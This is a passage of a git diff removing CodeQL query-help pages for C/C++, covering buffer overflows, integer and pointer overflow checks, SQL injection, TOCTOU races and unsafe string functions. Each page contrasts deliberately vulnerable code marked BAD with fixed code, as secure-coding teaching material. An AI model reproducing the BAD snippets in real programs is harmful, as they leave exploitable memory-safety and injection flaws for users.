2005. -* M. Donaldson. *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. -* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). -* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OverrunWrite.md b/docs/language/query-help/cpp/OverrunWrite.md deleted file mode 100644 index 5b511dbdbc5..00000000000 --- a/docs/language/query-help/cpp/OverrunWrite.md +++ /dev/null @@ -1,45 +0,0 @@ -# Potentially overrunning write - -``` -ID: cpp/overrunning-write -Kind: problem -Severity: error -Precision: medium -Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/OverrunWrite.ql) - -The program performs a buffer copy or write operation with no upper limit on the size of the copy, and it appears that certain inputs will cause a buffer overflow to occur in this case. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. - - -## Recommendation -Always control the length of buffer copy and buffer write operations. `strncpy` should be used over `strcpy`, `snprintf` over `sprintf`, and in other cases 'n-variant' functions should be preferred. - - -## Example - -```c -void sayHello() -{ - char buffer[10]; - - // BAD: this message overflows the buffer - strcpy(buffer, "Hello, world!"); - - MessageBox(hWnd, buffer, "New Message", MB_OK); -} -``` -In this example, the call to `strcpy` copies a message of 14 characters (including the terminating null) into a buffer with space for just 10 characters. As such, the last four characters overflow the buffer resulting in undefined behavior. - -To fix this issue three changes should be made: - -* Control the size of the buffer using a preprocessor define. -* Replace the call to `strcpy` with `strncpy`, specifying the define as the maximum length to copy. This will prevent the buffer overflow. -* Consider increasing the buffer size, say to 20 characters, so that the message is displayed correctly. - -## References -* CERT C Coding Standard: [STR31-C. Guarantee that storage for strings has sufficient space for character data and the null terminator](https://www.securecoding.cert.org/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator). -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). -* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OverrunWriteFloat.md b/docs/language/query-help/cpp/OverrunWriteFloat.md deleted file mode 100644 index 511f4691d76..00000000000 --- a/docs/language/query-help/cpp/OverrunWriteFloat.md +++ /dev/null @@ -1,45 +0,0 @@ -# Potentially overrunning write with float to string conversion - -``` -ID: cpp/overrunning-write-with-float -Kind: problem -Severity: error -Precision: medium -Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/OverrunWriteFloat.ql) - -The program performs a buffer copy or write operation that includes one or more float to string conversions (i.e. the %f format specifier), which may overflow the destination buffer if extreme inputs are given. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. - - -## Recommendation -Always control the length of buffer copy and buffer write operations. `strncpy` should be used over `strcpy`, `snprintf` over `sprintf`, and in other cases 'n-variant' functions should be preferred. - - -## Example - -```c -void displayValue(double value) -{ - char buffer[256]; - - // BAD: extreme values may overflow the buffer - sprintf(buffer, "%f", value); - - MessageBox(hWnd, buffer, "A Number", MB_OK); -} -``` -In this example, the call to `sprintf` contains a %f format specifier. Though a 256 character buffer has been allowed, it is not sufficient for the most extreme floating point inputs. For example the representation of double value 1e304 (that is 1 with 304 zeroes after it) will overflow a buffer of this length. - -To fix this issue three changes should be made: - -* Control the size of the buffer using a preprocessor define. -* Replace the call to `sprintf` with `snprintf`, specifying the define as the maximum length to copy. This will prevent the buffer overflow. -* Consider using the %g format specifier instead of %f. - -## References -* CERT C Coding Standard: [STR31-C. Guarantee that storage for strings has sufficient space for character data and the null terminator](https://www.securecoding.cert.org/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator). -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). -* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/PointerOverflow.md b/docs/language/query-help/cpp/PointerOverflow.md deleted file mode 100644 index 843e3a4d172..00000000000 --- a/docs/language/query-help/cpp/PointerOverflow.md +++ /dev/null @@ -1,45 +0,0 @@ -# Pointer overflow check - -``` -ID: cpp/pointer-overflow-check -Kind: problem -Severity: error -Precision: high -Tags: reliability security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/PointerOverflow.ql) - -When checking for integer overflow, you may often write tests like `p + i < p`. This works fine if `p` and `i` are unsigned integers, since any overflow in the addition will cause the value to simply "wrap around." However, using this pattern when `p` is a pointer is problematic because pointer overflow has undefined behavior according to the C and C++ standards. If the addition overflows and has an undefined result, the comparison will likewise be undefined; it may produce an unintended result, or may be deleted entirely by an optimizing compiler. - - -## Recommendation -To check whether an index `i` is less than the length of an array, simply compare these two numbers as unsigned integers: `i < ARRAY_LENGTH`. If the length of the array is defined as the difference between two pointers `ptr` and `p_end`, write `i < p_end - ptr`. If `i` is signed, cast it to unsigned in order to guard against negative `i`. For example, write `(size_t)i < p_end - ptr`. - - -## Example -An invalid check for pointer overflow is most often seen as part of checking whether a number `a` is too large by checking first if adding the number to `ptr` goes past the end of an allocation and then checking if adding it to `ptr` creates a pointer so large that it overflows and wraps around. - - -```cpp -bool not_in_range(T *ptr, T *ptr_end, size_t i) { - return ptr + i >= ptr_end || ptr + i < ptr; // BAD -} - -``` -In both of these checks, the operations are performed in the wrong order. First, an expression that may cause undefined behavior is evaluated (`ptr + i`), and then the result is checked for being in range. But once undefined behavior has happened in the pointer addition, it cannot be recovered from: it's too late to perform the range check after a possible pointer overflow. - -While it's not the subject of this query, the expression `ptr + i < ptr_end` is also an invalid range check. It's undefined behavor in C/C++ to create a pointer that points more than one past the end of an allocation. - -The next example shows how to portably check whether an unsigned number is outside the range of an allocation between `ptr` and `ptr_end`. - - -```cpp -bool not_in_range(T *ptr, T *ptr_end, size_t i) { - return i >= ptr_end - ptr; // GOOD -} -``` - -## References -* Embedded in Academia: [Pointer Overflow Checking](https://blog.regehr.org/archives/1395). -* LWN: [GCC and pointer overflows](https://lwn.net/Articles/278137/). \ No newline at end of file diff --git a/docs/language/query-help/cpp/PotentiallyDangerousFunction.md b/docs/language/query-help/cpp/PotentiallyDangerousFunction.md deleted file mode 100644 index ed95cf2a7af..00000000000 --- a/docs/language/query-help/cpp/PotentiallyDangerousFunction.md +++ /dev/null @@ -1,50 +0,0 @@ -# Use of potentially dangerous function - -``` -ID: cpp/potentially-dangerous-function -Kind: problem -Severity: warning -Precision: high -Tags: reliability security external/cwe/cwe-676 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-676/PotentiallyDangerousFunction.ql) - -This rule finds calls to functions that are dangerous to use. Currently, it checks for calls to `gmtime`, `localtime`, `ctime` and `asctime`. - -The time related functions such as `gmtime` fill data into a `tm` struct or `char` array in shared memory and then returns a pointer to that memory. If the function is called from multiple places in the same program, and especially if it is called from multiple threads in the same program, then the calls will overwrite each other's data. - - -## Recommendation -Replace calls to `gmtime` with `gmtime_r`. With `gmtime_r`, the application code manages allocation of the `tm` struct. That way, separate calls to the function can use their own storage. - -Similarly replace calls to `localtime` with `localtime_r`, calls to `ctime` with `ctime_r` and calls to `asctime` with `asctime_r`. - - -## Example -The following example checks the local time in two ways: - - -```c -// BAD: using gmtime -int is_morning_bad() { - const time_t now_seconds = time(NULL); - struct tm *now = gmtime(&now_seconds); - return (now->tm_hour < 12); -} - -// GOOD: using gmtime_r -int is_morning_good() { - const time_t now_seconds = time(NULL); - struct tm now; - gmtime_r(&now_seconds, &now); - return (now.tm_hour < 12); -} - -``` -The first version uses `gmtime`, so it is vulnerable to its data being overwritten by another thread. Even if this code is not used in a multi-threaded context right now, future changes may make the program multi-threaded. The second version of the code uses `gmtime_r`. Since it allocates a new `tm` struct on every call, it is immune to other calls to `gmtime` or `gmtime_r`. - - -## References -* SEI CERT C Coding Standard: [CON33-C. Avoid race conditions when using library functions](https://wiki.sei.cmu.edu/confluence/display/c/CON33-C.+Avoid+race+conditions+when+using+library+functions). -* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SignedOverflowCheck.md b/docs/language/query-help/cpp/SignedOverflowCheck.md deleted file mode 100644 index 2d200d70b4d..00000000000 --- a/docs/language/query-help/cpp/SignedOverflowCheck.md +++ /dev/null @@ -1,70 +0,0 @@ -# Signed overflow check - -``` -ID: cpp/signed-overflow-check -Kind: problem -Severity: warning -Precision: high -Tags: correctness security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Arithmetic/SignedOverflowCheck.ql) - -When checking for integer overflow, you may often write tests like `a + b < a`. This works fine if `a` or `b` are unsigned integers, since any overflow in the addition will cause the value to simply "wrap around." However, using *signed* integers is problematic because signed overflow has undefined behavior according to the C and C++ standards. If the addition overflows and has an undefined result, the comparison will likewise be undefined; it may produce an unintended result, or may be deleted entirely by an optimizing compiler. - - -## Recommendation -Solutions to this problem can be thought of as falling into one of two categories: - -1. Rewrite the signed expression so that overflow cannot occur but the signedness remains. -1. Change the variables and all their uses to be unsigned. -The following cases all fall into the first category. - -1. Given `unsigned short n1, delta` and `n1 + delta < n1`, it is possible to rewrite it as `(unsigned short)(n1 + delta) < n1`. Note that `n1 + delta` does not actually overflow, due to `int` promotion. -1. Given `unsigned short n1, delta` and `n1 + delta < n1`, it is also possible to rewrite it as `n1 > USHORT_MAX - delta`. The `limits.h` or `climits` header must then be included. -1. Given `int n1, delta` and `n1 + delta < n1`, it is possible to rewrite it as `n1 > INT_MAX - delta`. It must be true that `delta >= 0` and the `limits.h` or `climits` header has been included. - -## Example -In the following example, even though `delta` has been declared `unsigned short`, C/C++ type promotion rules require that its type is promoted to the larger type used in the addition and comparison, namely a `signed int`. Addition is performed on signed integers, and may have undefined behavior if an overflow occurs. As a result, the entire (comparison) expression may also have an undefined result. - - -```cpp -bool foo(int n1, unsigned short delta) { - return n1 + delta < n1; // BAD -} - -``` -The following example builds upon the previous one. Instead of performing an addition (which could overflow), we have re-framed the solution so that a subtraction is used instead. Since `delta` is promoted to a `signed int` and `INT_MAX` denotes the largest possible positive value for an `signed int`, the expression `INT_MAX - delta` can never be less than zero or more than `INT_MAX`. Hence, any overflow and underflow are avoided. - - -```cpp -#include -bool foo(int n1, unsigned short delta) { - return n1 > INT_MAX - delta; // GOOD -} - -``` -In the following example, even though both `n` and `delta` have been declared `unsigned short`, both are promoted to `signed int` prior to addition. Because we started out with the narrower `short` type, the addition is guaranteed not to overflow and is therefore defined. But the fact that `n1 + delta` never overflows means that the condition `n1 + delta < n1` will never hold true, which likely is not what the programmer intended. (see also the `cpp/bad-addition-overflow-check` query). - - -```cpp -bool bar(unsigned short n1, unsigned short delta) { - // NB: Comparison is always false - return n1 + delta < n1; // GOOD (but misleading) -} - -``` -The next example provides a solution to the previous one. Even though `n1 + delta` does not overflow, casting it to an `unsigned short` truncates the addition modulo 2^16, so that `unsigned short` "wrap around" may now be observed. Furthermore, since the left-hand side is now of type `unsigned short`, the right-hand side does not need to be promoted to a `signed int`. - - -```cpp -bool bar(unsigned short n1, unsigned short delta) { - return (unsigned short)(n1 + delta) < n1; // GOOD -} - -``` - -## References -* [comp.lang.c FAQ list Question 3.19 (Preserving rules)](http://c-faq.com/expr/preservingrules.html) -* [INT31-C. Ensure that integer conversions do not result in lost or misinterpreted data](https://wiki.sei.cmu.edu/confluence/display/c/INT31-C.+Ensure+that+integer+conversions+do+not+result+in+lost+or+misinterpreted+data) -* W. Dietz, P. Li, J. Regehr, V. Adve. [Understanding Integer Overflow in C/C++](https://www.cs.utah.edu/~regehr/papers/overflow12.pdf) \ No newline at end of file diff --git a/docs/language/query-help/cpp/SizeCheck.md b/docs/language/query-help/cpp/SizeCheck.md deleted file mode 100644 index 2885c443c85..00000000000 --- a/docs/language/query-help/cpp/SizeCheck.md +++ /dev/null @@ -1,40 +0,0 @@ -# Not enough memory allocated for pointer type - -``` -ID: cpp/allocation-too-small -Kind: problem -Severity: warning -Precision: medium -Tags: reliability security external/cwe/cwe-131 external/cwe/cwe-122 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/SizeCheck.ql) - -When you allocate an array from memory using `malloc`, `calloc` or `realloc`, you should ensure that you allocate enough memory to contain an instance of the required pointer type. Calls that are assigned to a non-void pointer variable, but do not allocate enough memory will cause a buffer overflow when a field accessed on the pointer points to memory that is beyond the allocated array. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. - - -## Recommendation -The highlighted call allocates memory that is too small to contain an instance of the type of the pointer, which can cause a memory overrun. Use the `sizeof` operator to ensure that the function call allocates enough memory for that type. - - -## Example - -```cpp -#define RECORD_SIZE 30 //incorrect or outdated size for record -typedef struct { - char name[30]; - int status; -} Record; - -void f() { - Record* p = malloc(RECORD_SIZE); //not of sufficient size to hold a Record - ... -} - -``` - -## References -* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 2005. -* M. Donaldson. *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. -* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). -* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SizeCheck2.md b/docs/language/query-help/cpp/SizeCheck2.md deleted file mode 100644 index 2767a32eb9f..00000000000 --- a/docs/language/query-help/cpp/SizeCheck2.md +++ /dev/null @@ -1,41 +0,0 @@ -# Not enough memory allocated for array of pointer type - -``` -ID: cpp/suspicious-allocation-size -Kind: problem -Severity: warning -Precision: medium -Tags: reliability security external/cwe/cwe-131 external/cwe/cwe-122 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/SizeCheck2.ql) - -When you allocate an array from memory using `malloc`, `calloc` or `realloc`, you should ensure that you allocate enough memory to contain a multiple of the size of the required pointer type. Calls that are assigned to a non-void pointer variable, but do not allocate enough memory will cause a buffer overflow when a field accessed on the pointer points to memory that is beyond the allocated array. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. - - -## Recommendation -The highlighted call allocates memory that is not a multiple of the size of the pointer type, which can cause a memory overrun. Use the `sizeof` operator to ensure that the function call allocates enough memory for that type. - - -## Example - -```cpp -#define RECORD_SIZE 30 //incorrect or outdated size for record -typedef struct { - char name[30]; - int status; -} Record; - -void f() { - Record* p = malloc(RECORD_SIZE * 4); //wrong: not a multiple of the size of Record - p[3].status = 1; //will most likely segfault - ... -} - -``` - -## References -* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 2005. -* M. Donaldson. *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. -* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). -* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SnprintfOverflow.md b/docs/language/query-help/cpp/SnprintfOverflow.md deleted file mode 100644 index 7236604daf4..00000000000 --- a/docs/language/query-help/cpp/SnprintfOverflow.md +++ /dev/null @@ -1,66 +0,0 @@ -# Potentially overflowing call to snprintf - -``` -ID: cpp/overflowing-snprintf -Kind: problem -Severity: warning -Precision: high -Tags: reliability correctness security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/SnprintfOverflow.ql) - -The return value of a call to `snprintf` is the number of characters that *would have* been written to the buffer assuming there was sufficient space. In the event that the operation reaches the end of the buffer and more than one character is discarded, the return value will be greater than the buffer size. This can cause incorrect behaviour, for example: - - -## Example - -```cpp -#define BUF_SIZE (32) - -int main(int argc, char *argv[]) -{ - char buffer[BUF_SIZE]; - size_t pos = 0; - int i; - - for (i = 0; i < argc; i++) - { - pos += snprintf(buffer + pos, BUF_SIZE - pos, "%s", argv[i]); - // BUF_SIZE - pos may overflow - } -} - -``` - -## Recommendation -The return value of `snprintf` should always be checked if it is used, and values larger than the buffer size should be accounted for. - - -## Example - -```cpp -#define BUF_SIZE (32) - -int main(int argc, char *argv[]) -{ - char buffer[BUF_SIZE]; - size_t pos = 0; - int i; - - for (i = 0; i < argc; i++) - { - int n = snprintf(buffer + pos, BUF_SIZE - pos, "%s", argv[i]); - if (n < 0 || n >= BUF_SIZE - pos) - { - break; - } - pos += n; - } -} - -``` - -## References -* cplusplus.com: [snprintf](http://www.cplusplus.com/reference/cstdio/snprintf/). -* Red Hat Customer Portal: [The trouble with snprintf](https://access.redhat.com/blogs/766093/posts/1976193). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SqlTainted.md b/docs/language/query-help/cpp/SqlTainted.md deleted file mode 100644 index 3550a38f5df..00000000000 --- a/docs/language/query-help/cpp/SqlTainted.md +++ /dev/null @@ -1,43 +0,0 @@ -# Uncontrolled data in SQL query - -``` -ID: cpp/sql-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-089 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-089/SqlTainted.ql) - -The code passes user input as part of a SQL query without escaping special elements. It generates a SQL query using `sprintf`, with the user-supplied data directly passed as an argument to `sprintf`. This leaves the code vulnerable to attack by SQL Injection. - - -## Recommendation -Use a library routine to escape characters in the user-supplied string before converting it to SQL. - - -## Example - -```c -int main(int argc, char** argv) { - char *userName = argv[2]; - - // BAD - char query1[1000] = {0}; - sprintf(query1, "SELECT UID FROM USERS where name = \"%s\"", userName); - runSql(query1); - - // GOOD - char userNameSql[1000] = {0}; - encodeSqlString(userNameSql, 1000, userName); - char query2[1000] = {0}; - sprintf(query2, "SELECT UID FROM USERS where name = \"%s\"", userNameSql); - runSql(query2); -} - -``` - -## References -* Microsoft Developer Network: [SQL Injection](http://msdn.microsoft.com/en-us/library/ms161953.aspx). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/StrncpyFlippedArgs.md b/docs/language/query-help/cpp/StrncpyFlippedArgs.md deleted file mode 100644 index bac8fb2f8eb..00000000000 --- a/docs/language/query-help/cpp/StrncpyFlippedArgs.md +++ /dev/null @@ -1,34 +0,0 @@ -# Possibly wrong buffer size in string copy - -``` -ID: cpp/bad-strncpy-size -Kind: problem -Severity: warning -Precision: medium -Tags: reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/StrncpyFlippedArgs.ql) - -The standard library function `strncpy` copies a source string to a destination buffer. The third argument defines the maximum number of characters to copy and should be less than or equal to the size of the destination buffer. Calls of the form `strncpy(dest, src, strlen(src))` or `strncpy(dest, src, sizeof(src))` incorrectly set the third argument to the size of the source buffer. Executing a call of this type may cause a buffer overflow. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. - - -## Recommendation -Check the highlighted function calls carefully, and ensure that the size parameter is derived from the size of the destination buffer, not the source buffer. - - -## Example - -```cpp -strncpy(dest, src, sizeof(src)); //wrong: size of dest should be used -strncpy(dest, src, strlen(src)); //wrong: size of dest should be used - -``` - -## References -* cplusplus.com: [strncpy](http://www.cplusplus.com/reference/clibrary/cstring/strncpy/). -* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 2005. -* M. Donaldson. *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. -* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). -* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). -* Common Weakness Enumeration: [CWE-251](https://cwe.mitre.org/data/definitions/251.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SuspiciousAddWithSizeof.md b/docs/language/query-help/cpp/SuspiciousAddWithSizeof.md deleted file mode 100644 index 1b04c565439..00000000000 --- a/docs/language/query-help/cpp/SuspiciousAddWithSizeof.md +++ /dev/null @@ -1,43 +0,0 @@ -# Suspicious add with sizeof - -``` -ID: cpp/suspicious-add-sizeof -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-468 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-468/SuspiciousAddWithSizeof.ql) - -Pointer arithmetic in C and C++ is automatically scaled according to the size of the data type. For example, if the type of `p` is `T*` and `sizeof(T) == 4` then the expression `p+1` adds 4 bytes to `p`. - -This query finds code of the form `p + k*sizeof(T)`. Such code is usually a mistake because there is no need to manually scale the offset by `sizeof(T)`. - - -## Recommendation -1. Whenever possible, use the array subscript operator rather than pointer arithmetic. For example, replace `*(p+k)` with `p[k]`. -1. Cast to the correct type before using pointer arithmetic. For example, if the type of `p` is `char*` but it really points to an array of type `double[]` then use the syntax `(double*)p + k` to get a pointer to the `k`'th element of the array. - -## Example - -```cpp -int example1(int i) { - int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; - int *intPointer = intArray; - // BAD: the offset is already automatically scaled by sizeof(int), - // so this code will compute the wrong offset. - return *(intPointer + (i * sizeof(int))); -} - -int example2(int i) { - int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; - int *intPointer = intArray; - // GOOD: the offset is automatically scaled by sizeof(int). - return *(intPointer + i); -} - -``` - -## References -* Common Weakness Enumeration: [CWE-468](https://cwe.mitre.org/data/definitions/468.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SuspiciousCallToStrncat.md b/docs/language/query-help/cpp/SuspiciousCallToStrncat.md deleted file mode 100644 index 83bbb8c6d2a..00000000000 --- a/docs/language/query-help/cpp/SuspiciousCallToStrncat.md +++ /dev/null @@ -1,36 +0,0 @@ -# Potentially unsafe call to strncat - -``` -ID: cpp/unsafe-strncat -Kind: problem -Severity: warning -Precision: medium -Tags: reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/SuspiciousCallToStrncat.ql) - -The standard library function `strncat` appends a source string to a target string. The third argument defines the maximum number of characters to append and should be less than or equal to the remaining space in the destination buffer. Calls of the form `strncat(dest, src, strlen(dest))` or `strncat(dest, src, sizeof(dest))` set the third argument to the entire size of the destination buffer. Executing a call of this type may cause a buffer overflow unless the buffer is known to be empty. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. - - -## Recommendation -Check the highlighted function calls carefully to ensure that no buffer overflow is possible. For a more robust solution, consider updating the function call to include the remaining space in the destination buffer. - - -## Example - -```cpp -strncat(dest, src, strlen(dest)); //wrong: should use remaining size of dest - -strncat(dest, src, sizeof(dest)); //wrong: should use remaining size of dest. - //Also fails if dest is a pointer and not an array. - -``` - -## References -* cplusplus.com: [strncat](http://www.cplusplus.com/reference/clibrary/cstring/strncat/), [strncpy](http://www.cplusplus.com/reference/clibrary/cstring/strncpy/). -* I. Gerg, *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4, 2005. -* M. Donaldson, *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room, 2002. -* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). -* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). -* Common Weakness Enumeration: [CWE-251](https://cwe.mitre.org/data/definitions/251.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SuspiciousSizeof.md b/docs/language/query-help/cpp/SuspiciousSizeof.md deleted file mode 100644 index 803a5b0b073..00000000000 --- a/docs/language/query-help/cpp/SuspiciousSizeof.md +++ /dev/null @@ -1,32 +0,0 @@ -# Suspicious 'sizeof' use - -``` -ID: cpp/suspicious-sizeof -Kind: problem -Severity: warning -Precision: medium -Tags: reliability correctness security external/cwe/cwe-467 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/SuspiciousSizeof.ql) - -This rule finds expressions that take the size of a function parameter of array type. In C, function parameters of array type are treated as if they had the corresponding pointer type, so their size is always the size of the pointer type (typically either four or eight). In particular, one cannot determine the size of a memory buffer passed as a parameter in this way. Using the `sizeof` operator on pointer types will produce unexpected results if the developer intended to get the size of an array instead of the pointer. - - -## Recommendation -Modify the function to take an extra argument indicating the buffer size. - - -## Example - -```cpp -void f(char s[]) { - int size = sizeof(s); //wrong: s is now a char*, not an array. - //sizeof(s) will evaluate to sizeof(char *) -} - -``` - -## References -* Comp.lang.c, Frequently Asked Questions: [Question 6.3: So what is meant by the "equivalence of pointers and arrays" in C?](http://c-faq.com/aryptr/aryptrequiv.html). -* Common Weakness Enumeration: [CWE-467](https://cwe.mitre.org/data/definitions/467.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TOCTOUFilesystemRace.md b/docs/language/query-help/cpp/TOCTOUFilesystemRace.md deleted file mode 100644 index 5497f31fb2a..00000000000 --- a/docs/language/query-help/cpp/TOCTOUFilesystemRace.md +++ /dev/null @@ -1,74 +0,0 @@ -# Time-of-check time-of-use filesystem race condition - -``` -ID: cpp/toctou-race-condition -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-367 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-367/TOCTOUFilesystemRace.ql) - -Often it is necessary to check the state of a file before using it. These checks usually take a file name to be checked, and if the check returns positively, then the file is opened or otherwise operated upon. - -However, in the time between the check and the operation, the underlying file referenced by the file name could be changed by an attacker, causing unexpected behavior. - - -## Recommendation -Wherever possible, use functions that operate on file descriptors rather than file names (for example, `fchmod` rather than `chmod`). - -For access checks, you can temporarily change the UID and GID to that of the user whose permissions are being checked, and then perform the operation. This has the effect of "atomically" combining a permissions check with the operation. - -If file-system locking tools are available on your platform, then locking the file before the check can prevent an unexpected update. However, note that on some platforms (for example, Unix) file-system locks are typically *advisory*, and so can be ignored by an attacker. - - -## Example -The following example shows a case where a file is opened and then, if the opening was successful, its permissions are changed with `chmod`. However, an attacker might change the target of the file name between the initial opening and the permissions change, potentially changing the permissions of a different file. - - -```c -char *file_name; -FILE *f_ptr; - -/* Initialize file_name */ - -f_ptr = fopen(file_name, "w"); -if (f_ptr == NULL) { - /* Handle error */ -} - -/* ... */ - -if (chmod(file_name, S_IRUSR) == -1) { - /* Handle error */ -} -``` -This can be avoided by using `fchmod` with the file descriptor that was received from opening the file. This ensures that the permissions change is applied to the very same file that was opened. - - -```c -char *file_name; -int fd; - -/* Initialize file_name */ - -fd = open( - file_name, - O_WRONLY | O_CREAT | O_EXCL, - S_IRWXU -); -if (fd == -1) { - /* Handle error */ -} - -/* ... */ - -if (fchmod(fd, S_IRUSR) == -1) { - /* Handle error */ -} -``` - -## References -* The CERT Oracle Secure Coding Standard for C: [ FIO01-C. Be careful using functions that use file names for identification ](https://www.securecoding.cert.org/confluence/display/c/FIO01-C.+Be+careful+using+functions+that+use+file+names+for+identification). -* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TaintedAllocationSize.md b/docs/language/query-help/cpp/TaintedAllocationSize.md deleted file mode 100644 index 728632b2e17..00000000000 --- a/docs/language/query-help/cpp/TaintedAllocationSize.md +++ /dev/null @@ -1,41 +0,0 @@ -# Overflow in uncontrolled allocation size - -``` -ID: cpp/uncontrolled-allocation-size -Kind: path-problem -Severity: error -Precision: high -Tags: reliability security external/cwe/cwe-190 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-190/TaintedAllocationSize.ql) - -This code calculates an allocation size by multiplying a user input by a `sizeof` expression. Since the user input has no apparent guard on its magnitude, this multiplication can overflow. When an integer multiply overflows in C, the result can wrap around and be much smaller than intended. A later attempt to put data into the allocated buffer can then overflow. - - -## Recommendation -Guard all integer parameters that come from an external user. Implement a guard with the expected range for the parameter and make sure that the input value meets both the minimum and maximum requirements for this range. If the input value fails this guard then reject the request before proceeding further. If the input value passes the guard then subsequent calculations should not overflow. - - -## Example - -```c -int factor = atoi(getenv("BRANCHING_FACTOR")); - -// GOOD: Prevent overflow by checking the input -if (factor < 0 || factor > 1000) { - log("Factor out of range (%d)\n", factor); - return -1; -} - -// This line can allocate too little memory if factor -// is very large. -char **root_node = (char **) malloc(factor * sizeof(char *)); - -``` -This code shows one way to guard that an input value is within the expected range. If `factor` fails the guard, then an error is returned, and the value is not used as an argument to the subsequent call to `malloc`. Without this guard, the allocated buffer might be too small to hold the data intended for it. - 